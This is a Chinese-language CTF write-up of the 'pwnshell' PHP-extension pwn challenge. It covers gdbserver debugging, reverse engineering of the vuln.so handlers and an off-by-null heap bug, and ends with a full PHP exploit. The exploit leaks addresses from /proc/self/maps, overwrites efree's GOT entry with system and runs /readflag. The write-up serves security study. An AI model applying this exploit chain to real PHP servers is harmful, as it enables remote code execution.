pwnshell 复现 (php pwn)

如何调试?

php pwn该如何调试?在docker中装一个gdbserver,用gdbserver起一个程序,在exp中用能触发io中断的php函数打”断点”,之后用gdb连上去后在vuln.so里打个断点就好了

能触发io中断的函数,比如说fgetc

<?php
$char = fgetc(STDIN);
echo "You entered: $char\n";
?>

在pwnshell这个题目中php配置文件里禁用了fgetc这个函数,修改php.ini中的disable_functions,把fgetc删掉就可以使用这个函数了

调试相关的命令

安装gdbserver

只需要在dockerfile里面加上安装的参数,之后构建镜像就好了

FROM php:8.3-apache

RUN DEBIAN_FRONTEND=noninteractive
RUN apt-get update && apt-get install -y vim gdbserver

COPY ./stuff/php.ini /usr/local/etc/php
COPY ./stuff/vuln.so /usr/local/lib/php/extensions/no-debug-non-zts-20230831
COPY ./stuff/readflag /
COPY ./flag.txt /flag.txt
COPY ./stuff/index.php /var/www/html
RUN chmod 400 /flag.txt
RUN chmod u+sx /readflag
RUN chmod -R 777 /var/www/html

构建镜像

docker build -t nyyyddddn/pwnshell .

开启容器

多映射一个 8888端口用来调试

docker run -d -p 9999:80 -p 8888:8888 nyyyddddn/pwnshell

gdbserver的使用

gdbserver开启一个监听

gdbserver :8888 php test.php

然后使用gdb连接上去调试

gdb -q \
-ex "add-symbol-file vuln.so" \
-ex "target remote :8888"

之后在vuln.so中打一个断点就好了

pwndbg> b zif_addHacker
Breakpoint 1 at 0x1210
pwndbg> c
Continuing.

如何分析程序逻辑

php module 程序的入口点是get_module 这个函数,会返回一个zend_module_entry结构体指针,这个结构体用来描述要加载的自定义函数地址 和信息,可以通过分析这个结构体知道哪些函数是出题人自定义的函数,再去分析这些函数的逻辑寻址漏洞

https://github.com/php/php-src/blob/master/Zend/zend_modules.h

php8.3中 _zend_module_enrty的结构

struct _zend_module_entry {
	unsigned short size;
	unsigned int zend_api;
	unsigned char zend_debug;
	unsigned char zts;
	const struct _zend_ini_entry *ini_entry;
	const struct _zend_module_dep *deps;
	const char *name;
	const struct _zend_function_entry *functions;
	zend_result (*module_startup_func)(INIT_FUNC_ARGS);
	zend_result (*module_shutdown_func)(SHUTDOWN_FUNC_ARGS);
	zend_result (*request_startup_func)(INIT_FUNC_ARGS);
	zend_result (*request_shutdown_func)(SHUTDOWN_FUNC_ARGS);
	void (*info_func)(ZEND_MODULE_INFO_FUNC_ARGS);
	const char *version;
	size_t globals_size;
#ifdef ZTS
	ts_rsrc_id* globals_id_ptr;
#else
	void* globals_ptr;
#endif
	void (*globals_ctor)(void *global);
	void (*globals_dtor)(void *global);
	zend_result (*post_deactivate_func)(void);
	int module_started;
	unsigned char type;
	void *handle;
	int module_number;
	const char *build_id;
};

所以 从functions指针跟过去后可以发现出题人自定义的函数有四个,分别是addHacker removeHacker displayHacker editHacker

.data:000000000000409F 00                            db    0
.data:00000000000040A0 03 20 00 00 00 00 00 00       dq offset aVuln                         ; "vuln"
.data:00000000000040A8 60 3D 00 00 00 00 00 00       dq offset off_3D60                      ; "addHacker"
.data:00000000000040B0 C0 11 00 00 00 00 00 00       dq offset zm_startup_vuln
.data:00000000000040B8 00 12 00 00 00 00 00 00       dq offset zm_shutdown_vuln
.data:00000000000040C0 00                            db    0


.data.rel.ro:0000000000003D60 1E 20 00 00 00 00 00 00       off_3D60 dq offset aAddhacker           ; DATA XREF: .data:00000000000040A8↓o
.data.rel.ro:0000000000003D60                                                                       ; "addHacker"
.data.rel.ro:0000000000003D68 10 12 00 00 00 00 00 00       dq offset zif_addHacker
.data.rel.ro:0000000000003D70 00 3D 00 00 00 00 00 00       dq offset unk_3D00
.data.rel.ro:0000000000003D78 02                            db    2
.data.rel.ro:0000000000003D79 00                            db    0
.data.rel.ro:0000000000003D7A 00                            db    0
.data.rel.ro:0000000000003D7B 00                            db    0
.data.rel.ro:0000000000003D7C 00                            db    0
.data.rel.ro:0000000000003D7D 00                            db    0
.data.rel.ro:0000000000003D7E 00                            db    0
.data.rel.ro:0000000000003D7F 00                            db    0
.data.rel.ro:0000000000003D80 28 20 00 00 00 00 00 00       dq offset aRemovehacker                 ; "removeHacker"
.data.rel.ro:0000000000003D88 50 13 00 00 00 00 00 00       dq offset zif_removeHacker
.data.rel.ro:0000000000003D90 C0 3C 00 00 00 00 00 00       dq offset unk_3CC0
.data.rel.ro:0000000000003D98 01                            db    1
.data.rel.ro:0000000000003D99 00                            db    0
.data.rel.ro:0000000000003D9A 00                            db    0
.data.rel.ro:0000000000003D9B 00                            db    0
.data.rel.ro:0000000000003D9C 00                            db    0
.data.rel.ro:0000000000003D9D 00                            db    0
.data.rel.ro:0000000000003D9E 00                            db    0
.data.rel.ro:0000000000003D9F 00                            db    0
.data.rel.ro:0000000000003DA0 35 20 00 00 00 00 00 00       dq offset aDisplayhacker                ; "displayHacker"
.data.rel.ro:0000000000003DA8 20 15 00 00 00 00 00 00       dq offset zif_displayHacker
.data.rel.ro:0000000000003DB0 80 3C 00 00 00 00 00 00       dq offset unk_3C80
.data.rel.ro:0000000000003DB8 01                            db    1
.data.rel.ro:0000000000003DB9 00                            db    0
.data.rel.ro:0000000000003DBA 00                            db    0
.data.rel.ro:0000000000003DBB 00                            db    0
.data.rel.ro:0000000000003DBC 00                            db    0
.data.rel.ro:0000000000003DBD 00                            db    0
.data.rel.ro:0000000000003DBE 00                            db    0
.data.rel.ro:0000000000003DBF 00                            db    0
.data.rel.ro:0000000000003DC0 43 20 00 00 00 00 00 00       dq offset aEdithacker                   ; "editHacker"
.data.rel.ro:0000000000003DC8 10 14 00 00 00 00 00 00       dq offset zif_editHacker
.data.rel.ro:0000000000003DD0 20 3C 00 00 00 00 00 00       dq offset unk_3C20
.data.rel.ro:0000000000003DD8 02                            db    2
.data.rel.ro:0000000000003DD9 00                            db    0

zif_addHacker

unsigned __int64 __fastcall zif_addHacker(__int64 a1, __int64 a2)
{
  __int64 v2; // rbp
  __int64 v3; // rdi
  __int64 v5; // rdx
  _BYTE *v6; // rax
  char *v7; // r12
  _QWORD *v8; // rbx
  void *v9; // rax
  size_t v10; // rdx
  const void *v11; // rsi
  _BYTE *v12; // r13
  __int64 v13; // rax
  _BYTE *arg2; // [rsp+8h] [rbp-40h] BYREF
  _BYTE *arg1; // [rsp+10h] [rbp-38h] BYREF
  unsigned __int64 v16; // [rsp+18h] [rbp-30h]

  v3 = *(unsigned int *)(a1 + 44);
  v16 = __readfsqword(0x28u);
  if ( (unsigned int)zend_parse_parameters(v3, &unk_2000, &arg1, &arg2) != -1 )
  {
    if ( arg1[8] == 6 && arg2[8] == 6 )
    {
      v5 = 0LL;
      v6 = (char *)&chunkList + 8;
      while ( *v6 != 1 )
      {
        ++v5;
        v6 += 16;
        if ( v5 == 16 )
          goto LABEL_9;
      }
      v2 = v5;
LABEL_9:
      v7 = (char *)&chunkList + 16 * v2;
      v8 = (_QWORD *)_emalloc(*(_QWORD *)(*(_QWORD *)arg2 + 16LL) + 16LL);
      v9 = (void *)_emalloc(*(_QWORD *)(*(_QWORD *)arg1 + 16LL));
      *v8 = v9;
      v10 = *(_QWORD *)(*(_QWORD *)arg1 + 16LL);
      v11 = (const void *)(*(_QWORD *)arg1 + 24LL);
      v8[1] = v10;
      memcpy(v9, v11, v10);
      v12 = arg2;
      memcpy(v8 + 2, (const void *)(*(_QWORD *)arg2 + 24LL), *(_QWORD *)(*(_QWORD *)arg2 + 16LL));
      v13 = *(_QWORD *)(*(_QWORD *)v12 + 16LL);
      *(_QWORD *)v7 = v8;
      *((_DWORD *)v7 + 2) = 13;
      *((_BYTE *)v8 + v13 + 16) = 0;
    }
    else
    {
      *(_DWORD *)(a2 + 8) = 1;
    }
  }
  return v16 - __readfsqword(0x28u);
}

https://github.com/php/php-src/blob/212b2834e9fbcb9a48b9cb709713b6cb197607cc/docs/source/core/data-structures/zval.rst#L23

zend_parse_parameters是一个可变参数函数,用途是根据指定的格式字符串解析和验证传入的参数,并将解析后的值存储在相应的变量中。

ZEND_API zend_result zend_parse_parameters(uint32_t num_args, const char *type_spec, ...);
php变量类型的表示方法

https://github.com/php/php-src/blob/212b2834e9fbcb9a48b9cb709713b6cb197607cc/docs/source/core/data-structures/zval.rst#L23

php是一门动态类型语言,变量可以存储任何类型的数据,并且变量的类型可以在程序执行期间发生变化,在zend引擎中变量是由一个叫做zval的结构体去描述的

typedef struct _zval_struct     zval;
struct _zval_struct {
	zend_value        value;			/* value */
	union {
		uint32_t type_info;
		struct {
			ZEND_ENDIAN_LOHI_3(
				uint8_t    type,			/* active type */
				uint8_t    type_flags,
				union {
					uint16_t  extra;        /* not further specified */
				} u)
		} v;
	} u1;
	union {
		uint32_t     next;                 /* hash collision chain */
		uint32_t     cache_slot;           /* cache slot (for RECV_INIT) */
		uint32_t     opline_num;           /* opline number (for FAST_CALL) */
		uint32_t     lineno;               /* line number (for ast nodes) */
		uint32_t     num_args;             /* arguments number for EX(This) */
		uint32_t     fe_pos;               /* foreach position */
		uint32_t     fe_iter_idx;          /* foreach iterator index */
		uint32_t     guard;                /* recursion and single property guard */
		uint32_t     constant_flags;       /* constant flags */
		uint32_t     extra;                /* not further specified */
	} u2;
};

其中关于类型的定义是这样的

#define IS_UNDEF     0 /* A variable that was never written to. */
#define IS_NULL      1
#define IS_FALSE     2
#define IS_TRUE      3
#define IS_LONG      4 /* An integer value. */
#define IS_DOUBLE    5 /* A floating point value. */
#define IS_STRING    6
#define IS_ARRAY     7
#define IS_OBJECT    8
#define IS_RESOURCE  9
#define IS_REFERENCE 10

所以从这里可以判断出addhacker这个函数有两个字符串类型的参数

if ( (unsigned int)zend_parse_parameters(v3, &unk_2000, &arg1, &arg2) != -1 )
{
  if ( arg1[8] == 6 && arg2[8] == 6 )

然后代码中的 arg1 + 0x10 arg1 + 0x18 arg2 + 0x10 arg2 + 0x18调试了一下发现 + 0x10 取字符串的长度,+ 0x18是取字符串的基地址

chunklist的结构是这样的

pwndbg> x /100gx 0x7d6e061d7160
0x7d6e061d7160 <chunkList>:     0x0000000000000000      0x0000000000000001
0x7d6e061d7170 <chunkList+16>:  0x0000000000000000      0x0000000000000001
0x7d6e061d7180 <chunkList+32>:  0x0000000000000000      0x0000000000000001
0x7d6e061d7190 <chunkList+48>:  0x0000000000000000      0x0000000000000001
0x7d6e061d71a0 <chunkList+64>:  0x0000000000000000      0x0000000000000001
0x7d6e061d71b0 <chunkList+80>:  0x0000000000000000      0x0000000000000001
0x7d6e061d71c0 <chunkList+96>:  0x0000000000000000      0x0000000000000001
0x7d6e061d71d0 <chunkList+112>: 0x0000000000000000      0x0000000000000001
0x7d6e061d71e0 <chunkList+128>: 0x0000000000000000      0x0000000000000001
0x7d6e061d71f0 <chunkList+144>: 0x0000000000000000      0x0000000000000001
0x7d6e061d7200 <chunkList+160>: 0x0000000000000000      0x0000000000000001
0x7d6e061d7210 <chunkList+176>: 0x0000000000000000      0x0000000000000001
0x7d6e061d7220 <chunkList+192>: 0x0000000000000000      0x0000000000000001
0x7d6e061d7230 <chunkList+208>: 0x0000000000000000      0x0000000000000001
0x7d6e061d7240 <chunkList+224>: 0x0000000000000000      0x0000000000000001
0x7d6e061d7250 <chunkList+240>: 0x0000000000000000      0x0000000000000001
0x7d6e061d7260: 0x0000000000000000      0x0000000000000000

所以这段代码的用途是在chunklist中找一个可用的空间,然后通过arg1的长度和arg2 + 0x10的长度申请两个堆,把arg1申请出来的堆写到arg2的堆里,最后把通过arg2堆写回chunklist,同时修改chunklist中inuse的标志位

写回chunklist逻辑附近有一个off by null的漏洞

  *(_QWORD *)v7 = v8;
  *((_DWORD *)v7 + 2) = 13;
  *((_BYTE *)v8 + v13 + 16) = 0;
}

zif_removeHacker

unsigned __int64 __fastcall zif_removeHacker(__int64 a1, __int64 a2, __int64 a3, __int64 a4)
{
  __int64 v4; // rdi
  _DWORD *v6; // rax
  _QWORD *v7; // rbp
  __int64 arg1; // [rsp+0h] [rbp-28h] BYREF
  unsigned __int64 v9; // [rsp+8h] [rbp-20h]

  v4 = *(unsigned int *)(a1 + 44);
  v9 = __readfsqword(0x28u);
  if ( (unsigned int)zend_parse_parameters(v4, &unk_2001, &arg1, a4) != -1 )
  {
    if ( *(_BYTE *)(arg1 + 8) != 4
      || (v6 = &chunkList[4 * *(_QWORD *)arg1], *((_BYTE *)v6 + 8) == 1)
      || *(_QWORD *)arg1 > 0xFuLL )
    {
      *(_DWORD *)(a2 + 8) = 1;
    }
    else
    {
      v7 = *(_QWORD **)v6;
      _efree(**(_QWORD **)v6);
      _efree(v7);
      chunkList[4 * *(_QWORD *)arg1 + 2] = 1;
    }
  }
  return v9 - __readfsqword(0x28u);
}

removeHacker只有一个整型参数idx, 传递idx过去后会根据idx去chunklist中找到arg2堆,然后再根据arg2堆的内容找到arg1堆最后free掉两个堆,同时修改chunlist中的inuse标志位

zif_editHacker

void *__fastcall zif_editHacker(__int64 a1, __int64 a2)
{
  __int64 v2; // rdi
  char *v4; // rax
  void **v5; // rbx
  void *v6; // rdi
  size_t v7; // rdx
  void *v8; // rax
  __int64 v9; // [rsp+8h] [rbp-20h] BYREF
  _BYTE *v10; // [rsp+10h] [rbp-18h] BYREF
  unsigned __int64 v11; // [rsp+18h] [rbp-10h]

  v2 = *(unsigned int *)(a1 + 44);
  v11 = __readfsqword(0x28u);
  if ( (unsigned int)zend_parse_parameters(v2, &unk_2000, &v9, &v10) == -1 )
    return (void *)(v11 - __readfsqword(0x28u));
  if ( *(_BYTE *)(v9 + 8) != 4
    || v10[8] != 6
    || (v4 = (char *)&chunkList + 16 * *(_QWORD *)v9, v4[8] == 1)
    || *(_QWORD *)v9 > 0xFuLL )
  {
    *(_DWORD *)(a2 + 8) = 1;
    return (void *)(v11 - __readfsqword(0x28u));
  }
  v5 = *(void ***)v4;
  v6 = **(void ***)v4;
  v7 = *(_QWORD *)(*(_QWORD *)v10 + 16LL);
  if ( v7 <= *(_QWORD *)(*(_QWORD *)v4 + 8LL) )
  {
    memcpy(v6, (const void *)(*(_QWORD *)v10 + 24LL), v7);
    return (void *)(v11 - __readfsqword(0x28u));
  }
  _efree(v6);
  v8 = (void *)_emalloc(*(_QWORD *)(*(_QWORD *)v10 + 16LL));
  *v5 = v8;
  return memcpy(v8, (const void *)(*(_QWORD *)v10 + 24LL), *(_QWORD *)(*(_QWORD *)v10 + 16LL));
}

edithacker函数的用途是编辑和更新指定索引的 chunk 数据,如果新数据小于或等于当前 chunk 的大小则直接覆盖,否则重新分配内存并复制新数据

zif_displayHacker

unsigned __int64 __fastcall zif_displayHacker(__int64 a1, __int64 a2, __int64 a3, __int64 a4)
{
  __int64 v4; // rdi
  char *v6; // rax
  const char *v7; // r13
  size_t v8; // r12
  _QWORD *v9; // rbp
  __int64 v10; // [rsp+0h] [rbp-38h] BYREF
  unsigned __int64 v11; // [rsp+8h] [rbp-30h]

  v4 = *(unsigned int *)(a1 + 44);
  v11 = __readfsqword(0x28u);
  if ( (unsigned int)zend_parse_parameters(v4, &unk_2001, &v10, a4) != -1 )
  {
    if ( *(_BYTE *)(v10 + 8) != 4
      || (v6 = (char *)&chunkList + 16 * *(_QWORD *)v10, v6[8] == 1)
      || *(_QWORD *)v10 > 0xFuLL )
    {
      *(_DWORD *)(a2 + 8) = 1;
    }
    else
    {
      v7 = **(const char ***)v6;
      v8 = strlen(v7);
      v9 = (_QWORD *)_emalloc((v8 + 32) & 0xFFFFFFFFFFFFFFF8LL);
      *v9 = 0x1600000001LL;
      v9[1] = 0LL;
      v9[2] = v8;
      memcpy(v9 + 3, v7, v8);
      *((_BYTE *)v9 + v8 + 24) = 0;
      *(_QWORD *)a2 = v9;
      *(_DWORD *)(a2 + 8) = 262;
    }
  }
  return v11 - __readfsqword(0x28u);
}

displahacker函数的用途是根据指定索引从chunklist中获取对应chunk的数据,然后返回一个对应的字符串对象

exp

https://a1ex.online/2021/03/06/2021-antCTF/

https://qanux.github.io/2024/04/29/d3ctf2024/index.html#PwnShell

通过linux 伪文件系统泄露libc基地址和模块基地址后,通过堆风水破坏free list构造任意地址写的原语,将 efree的got表覆盖成system,之后去free一个内容为 binsh的堆就好了,不过php pwn不能直接getshell,得反弹shell或者是用readflag把 flag读出来

<?php
function str2Hex($str) {
    $hex = "";
    for ($i = strlen($str) - 1;$i >= 0;$i--) $hex.= dechex(ord($str[$i]));
    $hex = strtoupper($hex);
    return $hex;
}

function int2Str($i, $x = 8) {
    $re = "";
    for ($j = 0; $j < $x; $j++) {
        $re .= pack('C', $i & 0xff);
        $i >>= 8;
    }
    return $re;
}

function leakaddr($buffer){
    global $libc,$mbase;
    $p = '/([0-9a-f]+)\-[0-9a-f]+ .* \/usr\/lib\/x86_64-linux-gnu\/libc.so.6/';
    $p1 = '/([0-9a-f]+)\-[0-9a-f]+ .*  \/usr\/local\/lib\/php\/extensions\/no-debug-non-zts-20230831\/vuln.so/';
    preg_match_all($p, $buffer, $libc);
    preg_match_all($p1, $buffer, $mbase);
    return "";
}

$libc="";
$mbase="";

ob_start("leakaddr");
include("/proc/self/maps");
$buffer = ob_get_contents();
ob_end_flush();
leakaddr($buffer);
$libc_base = hexdec($libc[1][0]);
$mod_base = hexdec($mbase[1][0]);

$system_addr = 0x4c490;
$efree_got = 0x4038;

$a = str_repeat("a", 0x40);
$b = str_repeat("b", 0x3f);
// fgetc(STDIN);

for ($i = 1; $i < 0xe; $i++) {
    $n = 0x61 + $i;
    $aa = pack("C", $n);
    $aaa = str_repeat($aa, 0x40);
    addHacker($aaa, $b);    
}

// fgetc(STDIN);
$cmd = "/readflag > /var/www/html/flag.txt\x00";
editHacker(0,$cmd);

removeHacker(7);
$c = str_repeat("c", 0x40);
addHacker($a, $c);

removeHacker(6);
editHacker(8, int2str($mod_base+$efree_got));

addHacker($a, $b);
$payload = str_repeat(int2str($libc_base+$system_addr),8);

addHacker($payload, $b);
// fgetc(STDIN);
removeHacker(0);
?>
⬆︎TOP